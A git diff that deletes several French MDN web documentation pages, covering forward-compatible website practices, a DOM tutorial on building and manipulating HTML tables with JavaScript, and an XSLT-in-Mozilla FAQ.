{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}

-
-

 

diff --git "a/files/fr/d\303\251veloppement_web/d\303\251velopper_des_sites_\303\240_compatibilit\303\251_descendante/index.html" "b/files/fr/d\303\251veloppement_web/d\303\251velopper_des_sites_\303\240_compatibilit\303\251_descendante/index.html" deleted file mode 100644 index f1005a2ace..0000000000 --- "a/files/fr/d\303\251veloppement_web/d\303\251velopper_des_sites_\303\240_compatibilit\303\251_descendante/index.html" +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Développer des sites à compatibilité descendante -slug: Développement_Web/Développer_des_sites_à_compatibilité_descendante -tags: - - NeedsEditorialReview - - NeedsTechnicalReview -translation_of: Web/Guide/Writing_forward-compatible_websites ---- -

Cette page explique comment développer des sites qui continuent de fonctionner au fur et à mesure des mises à jour des navigateurs.

- -

C'est d'autant plus important pour les intranets et autres sites non-publics; s'il n'est pas possible de voir votre site, il ne nous est pas possible de voir s'il est cassé. Il ne nous est pas toujours possible de suivre tous les sites, mais en suivre autant que possible permet d'en assurer la pérennité.

- -

JavaScript

- -

Préfixez tous les accès à des variables globales dans les attributs onfoo par “window.”

- -
Quand un attribut de gestion d'évenement (onclick, onmouseover, etc) est utilisé sur un élément HTML, toutes les résolutions de variable dans l'attribut sont d'abord résolues sur l'élément lui-même, puis sur le formulaire contenant l'élément (si c'est un élément de formulaire), puis sur document, puis finalement sur window (là où se trouvent les variables globales que vous avez définies).Par exemple, si vous avez le balisage suivant :
- -
<div onclick="alert(ownerDocument)">Cliquez moi</div>
- -

Alors cliquer sur le texte affichera le ownerDocument du div. Il en sera toujours ainsi, même s'il y a une var ownerDocument déclarée dans l'espace de visibilité global.

- -

Cela signifie qu'à chaque fois que vous accédez à une variable (ou une fonction) globale dans un attribut de gestion d'évenement vous pouvez vous retrouver avec une collision de nom. Il suffit pour cela qu'une nouvelle specification ajoute une nouvelle propriété DOM aux éléments, et que cette propriété porte le même nom que votre variable ou fonction.
- Si cela arrive, alors soudainement votre function ne sera plus appellée. Ceci est déjà arrivé de nombreuses fois à de multiples sites durant la phase d'évolution d'HTML5.

- -

Pour éviter ce problème, qualifiez complétement vos variables globales en utilisant window., comme ceci :

- -
<script>
-  function nomLocal() {
-    alert('La fonction nomLocal a été appellée.');
-  }
-</script>
-<div onclick="window.nomLocal()">Cliquer ici devrait faire apparaitre un message.<div>
-
- -

Ne concatenez pas les scripts dont vous n'avez pas le contrôle.

- -

En ECMAScript, la directive "use strict;" s'applique sur la totalité du fichier. Ainsi, ajouter un script qui dépends d'un comportement non-strict à la suite d'un script en mode strict risque fortement de générer des erreurs.

- -

Demandez aux auteurs des bibliothèques Javascript que vous utilisez de suivre ces recommandations.

- -

Suggérez aux développeurs de vos bibliothèques favorites de suivre ces recommendations. S'ils ne le font pas, vous n'avez pas l'assurance que la bibliothèque continue de fonctionner dans le futur. Malheureusement, les bibliothèques suivent rarement ces conseils.

- -

Détection

- -

Détecter des fonctionnalités particulières

- -

Si vous avez l'intention d'utiliser une fonctionnalité en particulier, utilisez autant que possible la détection d'objet pour détecter cette fonctionnalité particulière. Par exemple, ne considérez pas que si dans un navigateur "filter" in body.style s'évalue à true, alors forcément ce navigateur doit être Internet Explorer et que donc cela signifie qu'il possède un objet window.event disponible dans les gestionnaires d'évenement. 

- -

De manière générale, ne considérez pas que si un navigateur supporte une certaine fonctionnalité DOM, alors il doit forcément en supporter une autre, particulièrement si elle est non standard. Ou, à l'inverse, que s'il ne supporte pas une autre fonctionnalité, alors il n'en supportera pas non plus une autre. Par exemple, ce n'est pas parce qu'un navigateur supporte onload sur les éléments scripts alors cela signifie qu'il ne supportera jamais onreadystatechange sur ces mêmes éléments.

- -

Les comportement des navigateurs convergent de plus en plus: des fonctionnalités sont ajoutées, supprimées, des bugs sont corrigés. Tout ceci arrive regulièrement et arrivera encore.

- -

Ne cherchez donc pas à détecter une fonctionnalité ou un objet pour en déduire ensuite que parce qu'elle existe (ou non) alors telle ou telle autre fonctionnalité doit alors aussi exister (ou non).

- -

Ne détectez pas l'agent utilisateur

- -

Ceci est une sous-catégorie très particulière de l'exemple précédent. Il ne faut pas penser qu'une certaine fonctionnalité (la présence ou non d'une certaine chaine de caractères dans l'agent utilisateur -UA-) implique la présence ou l'absence d'autres fonctionnalités.

- -

Si vous devez détecter l'agent utilisateur, alors ne détectez que pour les anciennes versions.

- -

Si vous devez vraiment détecter l'agent utilisateur, alors ne l'utilisez que pour cibler des versions déjà dépassées.
- Tout d'abord, prévoyez toujours un chemin dans votre code pour les navigateurs que vous ne connaissez pas, ainsi que pour les versions courantes et futures des navigateurs avec lesquels vous avez testé votre site. Ensuite si ce chemin par défaut ne fonctionne pas dans certaines anciennes versions de certains navigateurs et uniquement si l'erreur ne peut pas être détectée par l'absence de fonctionnalités utilisées par votre chemin par défaut, alors il est raisonnable d'ajouter des hacks qui ne ciblent que ces anciennes versions de certains navigateurs, en recourant à la détection de l'agent utilisateur.

- -

Pour les besoins de ce conseil, considérez que "version courante" signifie la dernière version du navigateur que vous avez testé. Par exemple, si vous avez testé le chemin par défaut de votre code dans Firefox Aurora mais que Firefox Beta et les dernières versions ont un bug qui font planter votre code, alors il est raisonnable de considérer le numero de version de Aurora au moment du test comme étant la "version courante", et considérer la version Beta comme une version "ancienne", même si elle n'est pas encore sortie pour le public.

- -

Ne créez pas de chemin de code inutile pour une multitude de navigateurs différents

- -
N'allez pas créer trop de branches de code différentes, qui s'executent en fonction de l'agent utilisateur ou de la détection de fonctionnalité si vous avez une branche de code qui fonctionne pour tous les navigateurs. Il y a de fortes chances pour que les navigateurs convergent vers un comportement commun, ce qui risque de casser les chemins alternatifs que vous auriez créés pour tel ou tel navigateur.
- -

Test

- -

Tester dans les navigateurs principaux

- -

Testez votre code au moins sous Firefox, Chrome ou Safari (vu que les deux sont basés sur le même moteur WebKit), Opera et Internet Explorer. Si vous avez suivi le conseil donné précedemment à propos de l'unique branche de code pour toutes les versions de navigateurs (connues et inconnues), tester uniquement cette unique branche de code dans tous les navigateurs rends extremement probable le fait que votre code ne cassera pas dans le futur.

- -

Parfois, plusieurs navigateurs implementent une certaine fonctionnalité de manière légérement différente. Si vous avez une unique branche de code qui tourne dans tous les navigateurs principaux, cela signifie que vous utilisez soit des fonctionnalités pour lesquelles les navigateurs ont un comportement identiques, ou, s'ils n'ont pas encore convergé vers un seul comportement, votre code fonctionnera quelque soit le comportement final qui sera utilisé par tous.

- -

Prefixes et fonctionnalités propres à un certain navigateur

- -

N'utilisez pas de hack pour cibler la version actuelle ou une version future d'un navigateur

- -

Cela reviendrai à supposer que la corrélation actuelle entre plusieurs bugs implique une future corrélation entre ces mêmes bugs. Nous avons vu que cela n'était pas le cas.

- -

Il est par contre acceptable de cibler d'anciennes versions du navigateur si votre hack repose sur un bug présent dans les anciennes versions et corrigé dans les versions actuelles. Une fois que le bug X a été corrigé d'un navigateur, vous pouvez savoir que toutes les versions qui avaient le bug X avaient aussi le bug Y, et vous pourrez ainsi vous servir de X pour cibler des cas particuliers pour le bug Y.

- -

Dans ce cas, on considère par "actuelles" les versions les plus récentes du navigateur que vous avez testé, comme nous l'avons déjà évoqué dans le cas de la détection de l'agent utilisateur précédemment.

- -

Evitez de dépendre de fonctionnalités non standard ultra récentes

- -

Même si la fonctionnalitée est préfixée, l'utiliser peut être dangereux : au fur et à mesure de l'évolution de la spécification, l'implémentation préfixée du navigateur peut évoluer pour se rapprocher de la spécification. De plus, une fois la fonctionnalité standardisée, les versions prefixées seront vraisemblablement supprimées.

- -

Les fonctionnalités non standard, prefixées, sont fournies par les développeurs de navigateurs pour vous permettre de les expérimenter et d'offrir vos remarques en retour. Elles ne sont pas censées être déployées. Si vous choisissez de les utiliser, préparez-vous à faire des mises à jour régulières de votre site pour rester à flot avec les changements.

- -

Lorsque vous utilisez des fonctionnalités ultra récentes (même standards) qui ne sont pas encore implémentées partout, assurez-vous de tester les solutions de secours. Assurez-vous de tester ce qu'il se passe dans un navigateur qui n'implémente pas la fonctionnalité que vous utilisez, plus particulierement si vous ne l'utilisez pas régulièrement lors de l'élaboration de votre site.

- -

N'utilisez pas les versions préfixées des fonctionnalités, à moins de cibler les anciennes versions

- -

Le comportement des versions préfixées des fonctionnalités peut changer dans une future version. Néanmoins, dès lors qu'un navigateur est sorti avec une fonctionnalité non-prefixée, vous pouvez utiliser la version préfixée pour cibler les anciennes versions. Assurez-vous de toujours utiliser la version non-préfixée quand celle-ci est disponible.

- -

Voici un exemple, pour un navigateur qui utilise le préfixe -vnd en CSS et qui a sorti une version non-prefixée de la propriété rends-moi-joli, avec un comportement défini pour la valeur "parfois" qui diffère de la valeur préfixée.

- -
<style>
-  .joli-element {
-    -vnd-rends-moi-joli: parfois;
-    rends-moi-joli: parfois;
-  }
-</style>
-
- -

L'ordre des déclarations dans la règle précédente est important : la version non préfixée doit apparaitre en dernier.

- -

N'utilisez pas les versions non préfixées des propriétés CSS ou des APIs tant qu'au moins un navigateur ne les ont pas implémentées

- -

Tant que le support d'une version non préfixée d'une fonctionnalité n'est pas généralisé auprès des navigateurs, son comportement peut encore changer de manière radicale. Plus particulièrement, n'utilisez pas les versions non préfixées si aucun navigateur ne les implémente. Vous ne pouvez même pas être sûr que la syntaxe de la version finale sera la même que la syntaxe utilisée dans l'une des version préfixées.

- -

Hygiène de code

- -

Evitez les > manquants

- -

Passer votre code au validateur est un bon moyen de s'assurer de cela. Mais même si votre site ne valide pas complétement, vous devriez vous assurer que tous vos caractères > sont présents.
- S'ils manquent, cela peut vous amener à des situations où un nom de balise est interprété comme un attribut d'une balise précédente. Cela peut sembler fonctionner pendant quelques temps, mais finira par casser si une spécification future défini un sens à cet attribut. 

- -

Voici un exemple qui fonctionne dans les navigateurs ne possédant pas le support du HTML5, mais est cassé dans un navigateur le supportant :

- -
<form action="http://www.exemple.com">
-  <input type="submit" value="Soumettre le formulaire"
-</form>
-
- -

à cause du > manquant sur la balise input.

- -

Ne laissez pas de tests qui ne fonctionnent pas dans votre code

- -

Si vous essayez d'utiliser une propriété CSS, mais que celle-ci n'a pas d'effet, supprimez-la. Elle pourrait se mettre à avoir un effet que vous n'attendiez pas du tout dans une version future.

- -

{{ languages( {"en":"en/Web_development/Writing_forward-compatible_websites" } ) }}

diff --git "a/files/fr/d\303\251veloppement_web/index.html" "b/files/fr/d\303\251veloppement_web/index.html" deleted file mode 100644 index 303018ea82..0000000000 --- "a/files/fr/d\303\251veloppement_web/index.html" +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Développement Web -slug: Développement_Web -tags: - - Développement_Web -translation_of: Web/Guide -translation_of_original: Web_Development ---- -

Le développement Web comprend tous les aspects du développement d'un site ou d'une application Web.

-

Découvrez comment créer d'un simple site web à des applications complexes et interactives utilisant les dernières technologies du web en parcourant les articles que vous trouverez ici.

-

Sujets de documentation
Introduction au développement web
Un guide pour apprendre comment développer pour le web.
HTML
Le langage de balisage hypertexte est le langage de base pour créer des pages web et d'autres documents affichés dans un navigateur.
JavaScript
JavaScript est le langage de script le plus couramment utilisé pour développer des applications web ; il est également utilisé dans le développement de logiciels basés sur Mozilla.
CSS
Les feuilles de style en cascade permettent de concevoir des mises en pages complexes et d'avoir du style sur le web.
AJAX
Il ne s'agit pas tellement d'une technologie que d'un ensemble de technologies ; à l'aide de JavaScript et d'autres outils du web modernes mises ensemble, il est possible de créer des applications web dynamiques.
Standards du web
Apprenez à rendre votre site ou application web accessibles au plus grand nombre grâce à sa compatibilité avec le web ouvert.
Développer des sites à compatibilité descendante
Bonnes pratiques de création de sites qui continuent de fonctionner avec les mises à jour des navigateurs.
DOM
Le modèle objet de document est une API pour les documents HTML et XML qui fournit une représentation structurée du document qui peut être modifiée afin de changer son contenu et sa présentation.
XHTML
XHTML est un langage semblable à HTML, mais basé sur XML qui permet d'avoir une syntaxe plus stricte.
SVG
SVG est un langage de balisage XML permettant de décrire des graphiques vectoriels en deux dimensions.
FAQ de Mozilla pour développeurs web
Les questions les plus fréquemment posées par les développeurs web… et leurs réponses !

Tout afficher…

Communauté

Outils

{{ languages( { "zh-tw": "zh_tw/Web_開發", "de": "de/Webentwicklung", "en": "en/Web_Development", "es": "es/Desarrollo_Web", "it": "it/Sviluppo_Web", "ja": "ja/Web_Development", "pl": "pl/Programowanie_WWW","zh-cn": "cn/Web_Development" } ) }}

-
-

s

diff --git "a/files/fr/d\303\251veloppement_web/introduction_au_d\303\251veloppement_web/index.html" "b/files/fr/d\303\251veloppement_web/introduction_au_d\303\251veloppement_web/index.html" deleted file mode 100644 index 97f1bc650f..0000000000 --- "a/files/fr/d\303\251veloppement_web/introduction_au_d\303\251veloppement_web/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Introduction au développement web -slug: Développement_Web/Introduction_au_développement_web -translation_of: Web/Guide/Introduction_to_Web_development ---- -

Que vous débutiez dans le domaine du développement web ou que vous désiriez élargir vos horizons, ces liens devraient vous aider.

-
- Note : cette page n'est qu'une ébauche, nous aurions besoin de plus de contenu.
- - - - - - - -
-

Sujets de documentation

-

Aucun article n'est encore disponible.

- 		-

Ressources

-
-
- Alsacréations
-
- Tutoriels HTML, CSS, actualités et articles sur les standards du web.
-
-
-

 

-

{{ languages( { "en": "en/Web_development/Introduction_to_Web_development", "zh-tw": "zh_tw/Web_開發/Web開發入門" } ) }}

diff --git a/files/fr/explorer_un_tableau_html_avec_des_interfaces_dom_et_javascript/index.html b/files/fr/explorer_un_tableau_html_avec_des_interfaces_dom_et_javascript/index.html deleted file mode 100644 index 9e3407a0aa..0000000000 --- a/files/fr/explorer_un_tableau_html_avec_des_interfaces_dom_et_javascript/index.html +++ /dev/null @@ -1,351 +0,0 @@ ---- -title: Explorer un tableau HTML avec des interfaces DOM et JavaScript -slug: Explorer_un_tableau_HTML_avec_des_interfaces_DOM_et_JavaScript -tags: - - DOM - - Guide - - HTML - - JavaScript -translation_of: >- - Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces ---- -

 

- -

Introduction

- -

Cet article propose une vue d'ensemble de certaines méthodes DOM Level 1 fondamentales et la façon de les utiliser depuis JavaScript. Vous y apprendrez à créer, accéder, contrôler et supprimer dynamiquement des éléments HTML. Les méthodes DOM décrites ne sont pas spécifiques au HTML et s'appliquent également au XML. Les exemples fonctionneront dans tous les navigateurs offrant le support complet du DOM niveau 1, ce qui est le cas de tous les navigateurs basés sur Mozilla comme Firefox ou Netscape. Les morceaux de code de ce document fonctionneront également dans Internet Explorer 5.

- -
Les méthodes décrites ici font partie de la spécification Document Object Model level 1 (Core). DOM level 1 comprend des méthodes destinées à l'accès et à la manipulation des documents (DOM 1 core) ainsi que des méthodes spécifiques aux documents HTML (DOM 1 HTML).
- -

Exemple: Création d'un tableau HTML dynamiquement (Sample1.html)

- -

Contenu HTML

- -
<input type="button" value="Generate a table." onclick="generate_table()">
- -

Contenu JavaScript

- -
function generate_table() {
-  // get the reference for the body
-  var body = document.getElementsByTagName("body")[0];
-
-  // creates a <table> element and a <tbody> element
-  var tbl = document.createElement("table");
-  var tblBody = document.createElement("tbody");
-
-  // creating all cells
-  for (var i = 0; i < 2; i++) {
-    // creates a table row
-    var row = document.createElement("tr");
-
-    for (var j = 0; j < 2; j++) {
-      // Create a <td> element and a text node, make the text
-      // node the contents of the <td>, and put the <td> at
-      // the end of the table row
-      var cell = document.createElement("td");
-      var cellText = document.createTextNode("cell in row "+i+", column "+j);
-      cell.appendChild(cellText);
-      row.appendChild(cell);
-    }
-
-    // add the row to the end of the table body
-    tblBody.appendChild(row);
-  }
-
-  // put the <tbody> in the <table>
-  tbl.appendChild(tblBody);
-  // appends <table> into <body>
-  body.appendChild(tbl);
-  // sets the border attribute of tbl to 2;
-  tbl.setAttribute("border", "2");
-}
- -

{{ EmbedLiveSample('Overview_of_Sample1.html') }}

- -

Remarquez l'ordre dans lequel les éléments et le nœud texte sont créés :

- -
    -
  1. On crée d'abord l'élément <table>.
    2. -
  2. Ensuite, l'élément <tbody> qui est un enfant de l'élément <table>.
    3. -
  3. Puis, grâce à une boucle, on crée les éléments <tr>, qui sont des enfants de l'élément <tbody>.
    4. -
  4. Pour chaque élément <tr>, on emploie une boucle pour créer les éléments enfants <td>.
    5. -
  5. Enfin pour chaque élément <td>, on crée le nœud texte contenant le texte de la cellule du tableau.
    6. -
- -

Après avoir créé les éléments <table>, <tbody>, <tr>, <td> et le nœud texte, on ajoute chaque objet à son parent dans l'ordre inverse :

- -
    -
  1. On attache d'abord chaque nœud texte à son élément parent <td> en utilisant - 
    cell.appendChild(texte);
    -
    2. -
  2. Ensuite, on lie chaque élément <td> à son élément <tr> parent avec - 
    row.appendChild(cell);
    -
    3. -
  3. Puis chaque <tr> à son parent <tbody> avec - 
    tablebody.appendChild(row);
    -
    4. -
  4. Puis l'élément <tbody> est attaché à son élément parent <table> grace à - 
    table.appendChild(tablebody);
    -
    5. -
  5. Enfin, <table> est rattaché à <body> avec - 
    body.appendChild(table);
    -
    6. -
- -

Souvenez-vous de cette technique, vous l'utiliserez souvent en programmant pour le DOM W3C. On crée d'abord les éléments du haut vers le bas, puis on attache les enfants aux parents dans l'ordre inverse.

- -

Voici l'HTML généré par ce code JavaScript :

- -
...
-<table border="2">
-<tr><td>la cellule est ligne 0 colonne 0</td><td>la cellule est ligne 0 colonne 1</td></tr>
-<tr><td>la cellule est ligne 1 colonne 0</td><td>la cellule est ligne 1 colonne 1</td></tr>
-</table>
-...
-
- -

Voici l'arborescence objet DOM créée par le code, pour l'élément TABLE et ses enfants :

- -

Image:sample1-tabledom.jpg

- -

Vous pouvez construire ce tableau ainsi que ses éléments enfants internes en utilisant juste quelques méthodes DOM. Conservez à l'esprit le modèle en arbre des structures que vous comptez créer, cela rendra plus facile l'écriture du code nécessaire. Dans l'arbre <table> de la figure 1, l'élément <table> a un enfant, l'élément <tbody>, qui lui-même a deux enfants <tr>, qui à leur tour ont chacun un enfant <td>. Enfin, chacun de ces éléments <td> a un enfant, un nœud texte.

- -

Exemple : Définition de la couleur d'arrière-plan d'un paragraphe

- -

getElementsByTagName est à la fois une méthode de l'interface Document et de l'interface Element. Lorsqu'il est appelé, il renvoie un tableau avec tous les descendants de l'élément correspondant au nom de l'étiquette. Le premier élément de la liste se trouve à la position [0] dans le tableau.

- -

Contenu HTML

- -
<body>
-  <input type="button" value="Set paragraph background color" onclick="set_background()">
-  <p>hi</p>
-  <p>hello</p>
-</body>
- -

Contenu JavaScript

- -
function set_background() {
-  // récupère une liste de tous les éléments body (il n'y en aura qu'un),
-  // et sélectionne le premier (indice 0) de ces éléments
-  myBody = document.getElementsByTagName("body")[0];
-
-  // à présent, trouve tous les éléments p enfants de cet élément body
-  myBodyElements = myBody.getElementsByTagName("p");
-
-  // récupère le second élément de cette liste d'éléments p
-  myP = myBodyElements[1];
-  myP.style.background = "rgb(255,0,0)";
-}
- -

{{ EmbedLiveSample('Setting_background_of_a_paragraph') }}

- -

Dans cet exemple, on assigne à la variable myP l'objet DOM du second élément p du corps (body).

- -
    -
  1. On récupère d'abord une liste de tous les éléments body avec - 
    myBody = document.getElementsByTagName("body")[0]
    - Puisqu'il n'existe qu'un seul élément body dans un document HTML valide, cette liste ne comporte qu'un élément, que l'on récupère en sélectionnant le premier élément de la liste grace à {{mediawiki.external(0)}}.
    2. -
  2. Ensuite, on récupère tous les éléments p qui sont des enfants de body en utilisant - 
    myBodyElements = myBody.getElementsByTagName("p");
    -
    3. -
  3. Pour finir on prend le deuxième élément de la liste des éléments p avec - 
    myP = myBodyElements[1];
    -
    4. -
- -

Image:sample2a2.jpg

- -

Une fois que vous avez l'objet DOM pour un élément HTML, vous pouvez modifier ses propriétés. Si par exemple vous voulez définir la propriété couleur d'arrière-plan du style, ajoutez simplement :

- -
myP.style.background = "rgb(255,0,0)";
-// ajoute une propriété de style inline
-
- -

Création de nœuds texte avec document.createTextNode("..")

- -

Employez l'objet document pour appeler la méthode createTextNode et créer un nœud texte. Il suffit de lui communiquer le contenu texte, et la valeur renvoyée est un objet représentant le nœud texte.

- -
myTextNode = document.createTextNode("world");
- -

Ce morceau de code crée un nœud de type TEXT_NODE qui contient la donnée texte "world", et monNoeudTexte est la référence de l'objet nœud créé. Pour afficher ce texte sur votre page HTML, vous devez ensuite définir ce nœud texte comme l'enfant d'un autre élément nœud.

- -

Insertion d'éléments avec appendChild(...)

- -

En invoquant myP.appendChild ({{mediawiki.external('node_element')}}) , vous définissez element_nœud comme un nouvel enfant du second élément p (myP a été défini plus haut comme étant le second élément p).

- -
myP.appendChild(noeudTexte);
-
- -

En exécutant cet exemple, vous pouvez remarquer que les mots « hello » et « world » ne sont pas séparés : helloworld. Quand vous parcourez la page HTML les deux nœuds semblent donc n'en former qu'un seul, rappelez-vous cependant qu'ils sont bien distincts dans le modèle de document. Le second nœud est de type TEXT_NODE, et est le second enfant de la seconde balise <p>. Le schéma suivant situe ce nouvel objet dans l'arborescence du document :

- -

Image:sample2b2.jpg

- -
L'utilisation de createTextNode et de appendChild permet aisément d'ajouter un espace entre ces deux mots. Notez cependant que la méthode appendChild ajoute le nouvel enfant à la suite de ceux déjà présents, à la manière de « world » placé après « hello ». Pour ajouter un nœud texte entre « hello » et « world » (par exemple un espace), utilisez insertBefore à la place de appendChild.
- -

Création de nouveaux éléments avec l'objet document et la méthode createElement(...)

- -

Vous pouvez créer de nouveaux éléments, dont des éléments HTML, avec createElement. Pour créer un élément <p> enfant de l'élément <body>, vous pouvez vous servir de body défini dans l'exemple précédent et lui greffer un nouvel élément nœud. Pour ce faire, invoquez document.createElement("nombalise"). Voici un exemple :

- -
nouveauNoeudBALISEP = document.createElement("p");
-body.appendChild(nouveauNoeudBALISEP);
-
- -

Image:sample2c.jpg

- -

Suppression de nœuds avec la méthode removeChild(...)

- -

Tous les nœuds peuvent être supprimés. La ligne ci-dessous supprime de myP (deuxième élément <p>) le nœud texte contenant le mot « world » :

- -
myP.removeChild(noeudTexte);
-
- -

Vous pouvez ensuite ajouter monNoeudTexte (contenant "world") dans l'élément <p> récemment créé :

- -
nouveauNoeudBALISEP.appendChild(noeudTexte);
-
- -

L'arborescence des objets se présente désormais comme ceci :

- -

Image:sample2d.jpg

- -

Création dynamique d'un tableau (retour à Sample1.html)

- -

Jusqu'à la fin de cet article, nous travaillons de nouveau sur Exemple1.html. Le schéma qui suit vous rappelle la structure de l'arbre des objets pour le tableau créé dans l'exemple.

- -

Rappel de la structure arborescente d'un tableau HTML

- -

Image:sample1-tabledom.jpg

- -

Création et insertion des éléments dans l'arborescence

- -

On peut décomposer la création du tableau de Exemple1.html en trois étapes :

- -
    -
  • Récupérer l'objet body (c'est le premier élément de l'objet document).
    • -
  • Créer tous les éléments.
    • -
  • Greffer chaque enfant sur son parent en respectant la structure du tableau (cf. le schéma ci-dessus).
    • -
- -

Le code source qui suit est un exemple commenté qui crée le tableau de Exemple1.

- -
Il y a une ligne de code supplémentaire à la fin de la fonction start(), qui définit la propriété bordure du tableau en employant la méthode setAttribute. setAttribute utilise deux arguments : le nom de l'attribut et sa valeur, et permet de définir n'importe quelle propriété de n'importe quel élément.
- -
<head>
-<title>Code de démonstration - Explorer un tableau HTML avec des interfaces DOM et JavaScript</title>
-<script>
-    function start() {
-        // récupère une référence vers l'élément body
-        var body = document.getElementsByTagName("body")[0];
-
-        // création des éléments <table> et <tbody>
-        table     = document.createElement("table");
-        tablebody = document.createElement("tbody");
-
-        // création des cellules
-        for(var j = 0; j < 2; j++) {
-            // création d'un élément <tr>
-            row = document.createElement("tr");
-
-            for(var i = 0; i < 2; i++) {
-                // création d'un élément <td>
-                cell = document.createElement("td");
-                // création d'un nœud texte
-                texte = document.createTextNode("la cellule est ligne " + j + ", colonne " + i);
-                // ajoute le nœud texte créé à la cellule <td>
-                cell.appendChild(texte);
-                // ajoute la cellule <td> à la ligne <tr>
-                row.appendChild(cell);
-            }
-            // ajoute la ligne <tr> à l'élément <tbody>
-            tablebody.appendChild(row);
-        }
-
-        // ajoute <tbody> à l'élément <table>
-        table.appendChild(tablebody);
-        // ajoute <table> à l'élément <body>
-        body.appendChild(table);
-        // définit l'attribut border de table à 2;
-        table.setAttribute("border", "2");
-    }
-</script>
-</head>
-<body onload="start()">
-</body>
-</html>
-
- -

Manipulation du tableau avec DOM et CSS

- -

Récupérer un nœud texte dans le tableau

- -

Cet exemple présente deux nouveaux attributs DOM. D'abord, l'attribut childNodes qui est utilisé pour récupérer la liste des nœuds enfants de cel. A la différence de getElementsByTagName, la liste renvoyée par childNodes comporte tous les enfants sans considération de type. Une fois la liste obtenue, la méthode {{ mediawiki.external('x') }} est employée pour sélectionner l'élément enfant désiré. Dans cet exemple, le nœud texte de la seconde cellule de la seconde ligne du tableau est enregistré dans celtext. Ensuite, un nouveau nœud texte contenant les données de celtext est greffé en tant qu'enfant sur l'élément <body>.

- -
Si l'objet est un nœud texte, vous pouvez récupérer le texte qu'il contient en employant l'attribut data.
- -
mybody = document.getElementsByTagName("body")[0];
-mytable = mybody.getElementsByTagName("table")[0];
-mytablebody = mytable.getElementsByTagName("tbody")[0];
-myrow = mytablebody.getElementsByTagName("tr")[1];
-mycel = myrow.getElementsByTagName("td")[1];
-
-// premier élément du noeud liste des enfants de mycel
-myceltext=mycel.childNodes[0];
-
-//  contenu de currenttext est le contenu des données de myceltext
-currenttext=document.createTextNode(myceltext.data);
-mybody.appendChild(currenttext);
- -

Récupérer la valeur d'un attribut

- -

A la fin d'Exemple1, l'appel à setAttribute sur l'objet table définit la propriété border du tableau. Si vous désirez simplement récupérez la valeur de cet attribut, vous pouvez employer la méthode getAttribute :

- -
mytable.getAttribute("border");
- -

Cacher une colonne en changeant les propriétés de style

- -

Une fois que vous avez l'objet dans une variable JavaScript, vous pouvez définir les propriétés directement. Le code qui suit est une version modifiée de Exemple1.html où les cellules de la seconde colonne sont cachées, et le fond de celles de la première colonne est rouge. Remarquez que la propriété de style y est définie directement.

- -
<html>
-<body onload="start()">
-</body>
-<script>
-    function start() {
-       var body  = document.getElementsByTagName("body")[0];
-       table     = document.createElement("table");
-       tablebody = document.createElement("tbody");
-
-       for(var j = 0; j < 2; j++) {
-           row = document.createElement("tr");
-           for(var i = 0; i < 2; i++) {
-               cell = document.createElement("td");
-               text = document.createTextNode("la cellule est :" + i + j);
-               cell.appendChild(text);
-               row.appendChild(cell);
-               // change la couleur de fond de la cellule
-               // si la colonne est 0. Si la colonne est 1, cache la cellule
-               if (i == 0) {
-                   cell.style.background = "rgb(255,0,0)";
-               } else {
-                   cell.style.display = "none";
-               }
-           }
-           tablebody.appendChild(row);
-       }
-       table.appendChild(tablebody);
-       body.appendChild(table);
-    }
-</script>
-</html>
-
- -

Original Document Information

- -
-
Author(s)
-
Marcio Galli
-
Migrated from
-
http://web.archive.org/web/20000815054125/http://mozilla.org/docs/dom/technote/tn-dom-table/
-
- -


- Interwik

diff --git a/files/fr/faq_sur_les_transformations_xsl_dans_mozilla/index.html b/files/fr/faq_sur_les_transformations_xsl_dans_mozilla/index.html deleted file mode 100644 index 16413c5d89..0000000000 --- a/files/fr/faq_sur_les_transformations_xsl_dans_mozilla/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: FAQ sur les transformations XSL dans Mozilla -slug: FAQ_sur_les_transformations_XSL_dans_Mozilla -tags: - - XSLT -translation_of: Web/API/XSLTProcessor/XSL_Transformations_in_Mozilla_FAQ ---- -

-

-

Pourquoi ma feuille de style ne s'applique pas ?

-

Vérifiez que le type MIME du document source et de la feuille de style est bien un type MIME XML, à savoir text/xml ou application/xml. L'espace de nommage XSLT est http://www.w3.org/1999/XSL/Transform. Utilisez l'instruction de traitement <?xml-stylesheet ?> plutôt que l'élément non standard xml:stylesheet. Le problème le plus courant est la gestion du type MIME. Pour savoir quel type MIME est envoyé par votre serveur, consultez les Informations sur la page, utilisez une extension telle que LiveHTTPHeaders (en) ou un gestionnaire de téléchargements comme wget. Mozilla ne chargera pas les feuilles de style XSLT depuis un domaine différent pour des raisons de sécurité. -

-

Cela fonctione dans IE, mais pas dans Mozilla ?

-

Il y a plus que cette "simple" différence. Nous suspectons que la plupart des différences proviennent de ce que fait IE après la transformation. IE (pour autant que l'on puisse dire) sérialise et analyse la sortie avant de générer ce qu'il rend. Mozilla, au contraire, rend exactement le résultat du votre transformation. -

-

Puis-je désactiver l'échappement de la sortie avec disable-output-escaping ?

-

Cette question est en fait très proche de la précédente. Pour faire court, non. Désactiver l'échappement en sortie nécessite que nous ajoutions une étape d'analyse à la génération de notre sortie, ce que nous ne voulons pas. Dans la plupart des cas, il existe des contournements assez facile à mettre en œuvre. Les seuls cas d'utilisation que nous ayons vu jusqu'à présent sont du mauvais XML, du mauvais XSLT, ou les flux RSS. Ce dernier est pour nous le seul problème, et nous sommes désolé de ne pouvoir le supporter, mais mélanger l'analyse avec le XSLT est à risque et nous préférons ne pas le supporter d-o-e plutôt que de provoquer des crashes ou de ralentir le processus. -

-

Que dire de document.write ?

-

Tout comme pour le XHTML, document.write n'est pas supporté pendant les transformations XSLT. Malheureusement, les compilations actuelles ne retournent pas d'erreur, mais donnent simplement des résultats inattendus, comme des crashes ({{ Bug(202765) }}). Dans la plupart des cas il n'y a en fait aucune raison de l'utiliser. Si vous avez besoin d'employer du code ou une feuille de style spécifique à une plate-forme, utilisez ce qui suit : -

-
      <xsl:if test="system-property('xsl:vendor')='Transformiix'">
-        <!-- Balisage propre à Mozilla -->
-      </xsl:if>
-      <xsl:if test="system-property('xsl:vendor')='Microsoft'">
-        <!-- Balisage propre à IE -->
-      </xsl:if>
-
-

